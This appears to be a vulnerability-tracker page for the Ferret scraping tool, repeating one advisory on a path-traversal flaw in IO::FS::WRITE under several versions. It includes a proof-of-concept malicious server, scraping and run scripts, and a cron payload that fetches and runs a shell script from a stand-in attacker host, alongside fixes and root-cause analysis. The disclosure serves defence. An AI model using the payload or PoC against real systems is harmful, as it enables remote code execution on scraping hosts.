github.com/montferret/ferret

Version	Released
`v1.0.0` major	Mar 05, 2026
`v0.18.1` patch 1 CVE	May 07, 2025
`v0.18.0` minor 1 CVE	Mar 28, 2023
`v0.17.0` minor 1 CVE	Feb 07, 2023
`v0.16.7` patch 1 CVE	Jul 30, 2022
`v0.16.6` patch 1 CVE	Feb 11, 2022
`v0.16.5` patch 1 CVE	Jan 17, 2022
`v0.16.4` patch 1 CVE	Jan 03, 2022
`v0.16.3` patch 1 CVE	Dec 23, 2021
`v0.16.2` patch 1 CVE	Dec 13, 2021
`v0.16.1` patch 1 CVE	Dec 09, 2021
`v0.16.0` minor 1 CVE	Nov 22, 2021
`v0.16.0-rc.7` pre 1 CVE	Oct 18, 2021
`v0.16.0-rc.6` pre 1 CVE	Oct 16, 2021
`v0.16.0-rc.5` pre 1 CVE	Sep 20, 2021
`v0.16.0-rc.4` pre 1 CVE	Sep 20, 2021
`v0.16.0-rc.3` pre 1 CVE	Sep 19, 2021
`v0.16.0-rc.2` pre 1 CVE	Sep 17, 2021
`v0.16.0-rc.1` pre 1 CVE	Sep 09, 2021
`v0.15.0` initial 1 CVE	Apr 23, 2021

v1.0.0 major

Mar 05, 2026

v0.18.1 patch

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

May 07, 2025

v0.18.0 minor

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Mar 28, 2023

v0.17.0 minor

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Feb 07, 2023

v0.16.7 patch

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Jul 30, 2022

v0.16.6 patch

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

